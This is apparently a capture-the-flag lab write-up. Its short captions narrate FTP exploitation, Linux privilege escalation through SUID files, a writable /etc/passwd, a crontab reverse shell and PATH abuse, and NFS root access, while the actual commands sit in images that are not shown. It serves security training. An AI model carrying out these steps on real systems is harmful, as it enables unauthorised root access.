![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu7AhTBJ4IuY5q3TrJ%2Fimage.png?alt=media\&token=679c9bec-6ab5-4010-9bbe-8f495d35e7ee)

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu7QWd0CeVRXhDXJaI%2Fimage.png?alt=media\&token=9f91dd4d-1f48-4ae5-af36-ac577a63829b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu7YKAxpqG7RbGhm7E%2Fimage.png?alt=media\&token=e4006b6d-b3c6-4b27-90e6-b00276535ef6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu7anRSA2Itcz-oB0-%2Fimage.png?alt=media\&token=4b9bb96d-bff5-4e41-8cee-e3485dabcf71)

## Gain initials access with ProFtpd

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu7m2hfp3Gt0kfyEDM%2Fimage.png?alt=media\&token=b63f6071-ad09-4756-877c-b1702b7fd410)

Lets connect to FTP using Netcat

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu7xOm0Gx-dtaEBPjK%2Fimage.png?alt=media\&token=fb3ead13-f3f7-4adc-b38e-b30c1e740b16)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu8-cXhdYFxVRlmWBn%2Fimage.png?alt=media\&token=8c33bfb8-f358-4806-82f2-1c5f20926e4b)

Lets go to searchsploit and look for exploits on this particular version of FTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu8Awkwh0V8gAy8gyU%2Fimage.png?alt=media\&token=b8ff8ca9-60b1-436f-b5d7-54dd10dfa4ab)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu8EnK-U5uv-_1dHBP%2Fimage.png?alt=media\&token=3c787f62-60d1-4c6f-8659-b098e3306bcf)

Lets follow the steps they gave in the room to get an initial foothold on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu8ePRGvNj1t5JJRck%2Fimage.png?alt=media\&token=c99d29a1-8043-4da9-b38d-d234a644b7e9)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu9_0iIPFAp726JweM%2Fimage.png?alt=media\&token=6d500b60-17e2-4b61-b0c8-7f750be7d446)

We are logged in, lets read the user flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu9lyV25_d87v6HCB1%2Fimage.png?alt=media\&token=24edad26-c78a-4dd3-af35-80d9c38ed83e)

## Privilege Escalation with Path Variable Manipulation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu9zvDiwb_q2WHXN2d%2Fimage.png?alt=media\&token=035708a3-4145-43da-87b8-ead2b1c3f58f)

Lets follow the steps

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-McuAIYy_mt34kvv-Wl6%2Fimage.png?alt=media\&token=7b1d64f2-768b-48dc-9038-28085092e12e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-McuANOneUXxaMQs7TPp%2Fimage.png?alt=media\&token=82b53478-5b37-4f9d-8021-b52a8c328f6d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-McuAfEihNzAejemutKq%2Fimage.png?alt=media\&token=8c02d124-dcfd-478a-8398-9129f610b89a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-McuAiroWBimLBTcSCw4%2Fimage.png?alt=media\&token=d2cb4233-5bf4-4842-95d1-391cd9c8e64b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-McuAmHBlSIGljsG1Opw%2Fimage.png?alt=media\&token=258450b2-0566-4bbe-9cc9-6e80b641531b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-McuBLLNXemKsiTSfjEQ%2Fimage.png?alt=media\&token=150be412-99dc-4ac7-a00b-1bd41cc4cf75)


# Common Linux Privesc

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McoEmHcQkaUtJQoxs4t%2F-Mcp-1n2prvs1SujpaCo%2Fimage.png?alt=media\&token=30b49484-cf68-408e-8eb1-18a24d3428e7)

## Understanding Privilege Escalation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McoEmHcQkaUtJQoxs4t%2F-Mcp-L438_OS3U4xE7oh%2Fimage.png?alt=media\&token=e18218ea-22a7-4f09-b097-f91673647192)

## Direction of Privilege Escalation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McoEmHcQkaUtJQoxs4t%2F-Mcp-_CKFNCVpnOIxN33%2Fimage.png?alt=media\&token=0b4a7d06-56a8-4f47-b46c-5d9fc374cd78)

## Enumeration

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp-sjHrsCv3CdeKQ-w%2Fimage.png?alt=media\&token=bbfedb37-4143-4da3-8341-18eca5045dde)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp-wBTxhcl7ZF6iYd4%2Fimage.png?alt=media\&token=65abd4be-d8ed-4cda-be17-48e8b6b7973d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp04xCb8EKJaSnvuJT%2Fimage.png?alt=media\&token=8e54684b-e9ad-4b9f-a9e0-5ac829416935)

Lets login as user3 as they have told us.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp0oD5Ye-4jfvKx7wA%2Fimage.png?alt=media\&token=ed2acbf7-7a12-4cd5-adfb-544630260419)

The hostname is polobox

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp0vRzdjH_pzVdemPg%2Fimage.png?alt=media\&token=92e41536-1dbe-4895-9c0a-df44b394dc4b)

Lets look at the /etc/passwd file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp19GRUp2u4dwps7M4%2Fimage.png?alt=media\&token=2bf96d85-3a21-4017-b248-19fcb10ff1c8)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp1D5zIF2FE4dgNif6%2Fimage.png?alt=media\&token=4dda30a6-5c64-4b6a-86b8-c8b8c5ca61ac)

Lets look at how many shells there are on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp1cCOkWvCtJjcBOOT%2Fimage.png?alt=media\&token=e74bb806-f777-44b9-b2bc-442ae4282365)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp1fqMHvBcCKuuybSj%2Fimage.png?alt=media\&token=dad321e7-3d46-4003-b0e1-cf94b8bfcc5e)

Lets look at the cronjobs

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp1og6nwok2v4yUtkG%2Fimage.png?alt=media\&token=bb1cfb66-d319-4e0f-aec1-10d370e3a8ad)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp1vhEvrEzj_9pq_eX%2Fimage.png?alt=media\&token=621d4438-db0e-426b-ac01-ae3842deb55e)

The critical file that had its permissions changed is /etc/passwd

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp2QJsPmrQ28-AYS-y%2Fimage.png?alt=media\&token=64047da2-6f44-4362-ac5b-02d67cde43d6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp-es03_lek8MlI8In%2F-Mcp2TiE4vTDpLq0NB6z%2Fimage.png?alt=media\&token=59cc08d1-845f-4b4c-b01f-4d8ff27d4ae3)

## Abusing SUID/GUID Files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp2V2gjs5BZPuyDQKc%2F-Mcp2m3UClj6fAz6XEHn%2Fimage.png?alt=media\&token=a85a5ae9-2a86-4a92-bfe1-365ca3f31484)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp2V2gjs5BZPuyDQKc%2F-Mcp2p3O8bNO1xegY5Bn%2Fimage.png?alt=media\&token=564af70e-ded8-4ad1-9416-0e4602256279)

Lets look for SUID files.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp2V2gjs5BZPuyDQKc%2F-Mcp37rc5RmgAyiaiixE%2Fimage.png?alt=media\&token=e2fd8199-67b7-459f-80cc-b9c7aa2d52c2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp2V2gjs5BZPuyDQKc%2F-Mcp3PJdPO_hB4nQqd2x%2Fimage.png?alt=media\&token=8cdf90b7-204c-4bc0-ae59-19673100bddb)

Lets run the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp2V2gjs5BZPuyDQKc%2F-Mcp3KluB--NboHKK3l1%2Fimage.png?alt=media\&token=985fd18a-50f8-4a59-974f-790dcf8d9f83)

## Exploiting Writeable /etc/passwd

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp3aKojUKySlr11fzT%2Fimage.png?alt=media\&token=3b0f7772-15cf-4799-b7f7-7faed0dd84da)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp3dGZWul80YMADlHr%2Fimage.png?alt=media\&token=8c02da36-187c-4617-9258-19e325d93532)

First lets switch users and create the hashed password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp6N6z4V8m_QnXaVSx%2Fimage.png?alt=media\&token=76e64853-6f14-4a86-82a3-082b60c2b7de)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp6SwK6TpznGCQTro9%2Fimage.png?alt=media\&token=e43abdef-5dfc-4dd1-a02e-c6618908fc99)

Now lets edit the file and add the password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp6gz4rcGftH2JeHTm%2Fimage.png?alt=media\&token=9f43a712-d20c-417a-8e20-9dce5947d51e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp6nq2Vcb6eZQUkSvs%2Fimage.png?alt=media\&token=c475934b-fe5f-4f8a-a59b-f9478daf1eae)

Lets save the file and then login.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp6ttvwqNnmeaAsjjs%2Fimage.png?alt=media\&token=e1bd2164-182a-4485-a633-886784d7ed73)

## Escaping Vi Editor

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp76kU0pMVwhhnGyRt%2Fimage.png?alt=media\&token=14ffd35f-c4d8-4a72-be79-2043902691b3)

Lets follow the steps

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp7IjA3LuODY6R684P%2Fimage.png?alt=media\&token=17079399-75c1-4a85-b2fe-d3a3ac21c031)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp7Q4l8z-ZBjQADHG4%2Fimage.png?alt=media\&token=adb18a31-da1e-4dbf-9dd3-5dc83ff86613)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp7dQIhNqNTGXWCO4d%2Fimage.png?alt=media\&token=18db901a-d80b-4cc7-be7b-53994391492f)

## Exploiting Crontab

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp3WSiA2VIA2QsB0Gi%2F-Mcp7kRtueYrxuA_GcJv%2Fimage.png?alt=media\&token=d4c8f8ce-2181-4804-b089-5e5735e1b8ca)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp7lyJ9BtP1yGKuBbD%2F-Mcp7uB9OafOTAiHr6iQ%2Fimage.png?alt=media\&token=b53c0def-9727-4dc1-b424-4e2e5d60957c)

Lets follow the steps

First we create the msfvenom payload on our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp7lyJ9BtP1yGKuBbD%2F-Mcp8g_65rjtnN_Dkn66%2Fimage.png?alt=media\&token=8e340fee-c3d7-4495-80a6-f2af309c4e17)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp7lyJ9BtP1yGKuBbD%2F-Mcp8sN8cF0TWnr_S7tf%2Fimage.png?alt=media\&token=13e81958-f717-4d61-9bbd-f3a216ecf140)

Now lets find where the autoscript.sh file is located

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp7lyJ9BtP1yGKuBbD%2F-Mcp8w2jp-02byKARitt%2Fimage.png?alt=media\&token=a00d9096-51e2-4f30-9a91-bf6210371aea)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp7lyJ9BtP1yGKuBbD%2F-Mcp944UwTeed4PDPwXk%2Fimage.png?alt=media\&token=b5649610-4e78-41ba-a306-dfe166594bab)

Lets echo the shell into the file and start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp7lyJ9BtP1yGKuBbD%2F-Mcp9PKNogjiRwSLr0nl%2Fimage.png?alt=media\&token=9fa1a3b3-18f2-4644-b7cd-1f0844c39dca)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp7lyJ9BtP1yGKuBbD%2F-Mcp9Rx987T8EGjvg_1r%2Fimage.png?alt=media\&token=b33d3176-f341-4c3e-bcb2-e04b8baa51a2)

After a while you should get a reverse shell

## Exploiting PATH variable

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcp7lyJ9BtP1yGKuBbD%2F-Mcp9zHWliTAsAKYMWAR%2Fimage.png?alt=media\&token=0ac75a1a-3e2a-44d8-9ac9-1a5e151f12ec)

Lets follow the steps

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McpAUqDcepKonIv1HfP%2F-McpFUrFpRHk1MG-nRJE%2Fimage.png?alt=media\&token=c428079a-ad18-46eb-b94e-043bd33b13ab)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McpAUqDcepKonIv1HfP%2F-McpG3FGcC0Q-4zoRUJy%2Fimage.png?alt=media\&token=976f4fc8-bbed-40ac-a068-577f896adf99)


# Network Services 2

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfbqqfMlgFBuUh4WYb%2Fimage.png?alt=media\&token=5d3740d4-6e1b-4d3e-9d01-48cf02bc1c92)

## NFS: Network File System

### Understanding NFS

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfcUH1V1Etq1nSC1JU%2Fimage.png?alt=media\&token=764e1823-ad69-4ee8-8f8d-6061ab0c2e14)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfcgnMZhvEqdS1Xgf5%2Fimage.png?alt=media\&token=418fe988-6f8c-4af1-a0c0-5839dd407c29)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfdtffoXR4DRfBLatK%2Fimage.png?alt=media\&token=0e01bb55-a9b5-49e6-a4c0-4026dbd65bfa)

### Enumerating NFS

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfeRvvG2lQzHrQoWm0%2Fimage.png?alt=media\&token=e103522f-e286-4f23-ade0-2d960745667a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfeXdRZcv8_nSycK8t%2Fimage.png?alt=media\&token=9c685c06-a296-4b14-8531-22fa944b1ab2)

Lets run nmap scans to get information on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-Mcff-ENrx2Lo5bh-51i%2Fimage.png?alt=media\&token=74dcdaf4-c2c2-4984-9612-65224c6a10ae)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfhR7Pcj7DpNkk6p8N%2Fimage.png?alt=media\&token=e500814b-ea31-40cc-833b-7a6b88e8f691)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-Mcff2Wj2TPRHC_MfpsT%2Fimage.png?alt=media\&token=e92043de-dd83-4633-b356-268410cd2f45)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-Mcff54jku0yiYIDPzhI%2Fimage.png?alt=media\&token=8b380dec-ca59-427d-a5a5-99fcd5226652)

Lets mount the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-Mcffc0V3eOyni0fAYGO%2Fimage.png?alt=media\&token=b444ebdb-3432-4ed5-a725-6ae57e9e4a09)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McffhJCoH_hM6ufdB0E%2Fimage.png?alt=media\&token=1454b721-f3c5-40d0-94b4-868ebd099841)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfgQSKv2k8ijjh6ybv%2Fimage.png?alt=media\&token=0e5b9666-14f0-4d63-bfee-f9e701239b1a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfgSc6EToKZs5B_FNJ%2Fimage.png?alt=media\&token=4755b123-4163-4046-bde3-3f8d9f23e755)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfgWm8DrX2W4iS_LAt%2Fimage.png?alt=media\&token=c9d7ecfa-2ef8-4b8b-8d4d-13508774d7a2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-Mcfga6PIi72AIFoA-pc%2Fimage.png?alt=media\&token=748fe7c9-0e53-44b6-81cf-0a8d028ccd6e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-McfgcxvrH8kbRC6NxRd%2Fimage.png?alt=media\&token=97c3bd56-3d45-41d1-ba53-bf51ab10ef42)

### Exploiting NFS&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-Mcfgx_uuw_LIznAzdZk%2Fimage.png?alt=media\&token=251be978-6c43-41e7-9668-0827a02a8419)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfbkV5t4muiV3cV6Kg%2F-Mcfh-PfJ_mGob76EImO%2Fimage.png?alt=media\&token=e03cc9ec-bae4-4a1b-a781-f7e00c2c5b3b)

Lets follow these steps

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcj1-zCzdNMNN9Ilstp%2F-Mcjs_NnIja6giPpXZHN%2Fimage.png?alt=media\&token=6f499c81-6cb9-4fed-bcfa-bb09216b236f)

Now login through ssh and run the command "bash -p" in the home directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcj1-zCzdNMNN9Ilstp%2F-Mcjsm-fbe4zwNYAVogN%2Fimage.png?alt=media\&token=d8992cd1-4256-4b55-9266-7135dd83b1cd)

We are root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcj1-zCzdNMNN9Ilstp%2F-Mcjsu1GjjOEpLpYJ9Y_%2Fimage.png?alt=media\&token=66946b6b-1866-411c-8eb5-baad82f8b585)

Lets read the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcj1-zCzdNMNN9Ilstp%2F-Mcjt1KdUaujF01NRDFx%2Fimage.png?alt=media\&token=bd45cdf8-f771-4aab-ae53-eb608e659972)

## SMTP: Simple Mail Transfer Protocol

### Understanding SMTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcjt41PwUrlCaLqrOc2%2F-Mcjtv3suraFUsObnFAF%2Fimage.png?alt=media\&token=9968c1e9-1481-4f68-be35-af6102143bcd)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcjt41PwUrlCaLqrOc2%2F-Mcju0_GmRcF-n2EbBpI%2Fimage.png?alt=media\&token=f6fc360a-6520-4a37-b45e-6d1dc959007e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcjt41PwUrlCaLqrOc2%2F-Mcju42eCiRrwVSzNfzY%2Fimage.png?alt=media\&token=a63815c5-f699-444e-ab89-375e409e273e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcjt41PwUrlCaLqrOc2%2F-McjvAHqKXAzKDGq7yrl%2Fimage.png?alt=media\&token=41197eb7-eba3-4ec9-a5d7-8b61ccfb23bd)

### Enumerating SMTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-Mcjve4KRaQV5US_ow-S%2Fimage.png?alt=media\&token=e9bdf966-de80-49e5-9c09-98531f8615c2)

Lets run nmap scans to get information about the open ports on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-Mcjw1vAE97zWg1wwOL3%2Fimage.png?alt=media\&token=e8b47bb2-c4b1-471b-82a7-cacb342bcb2d)

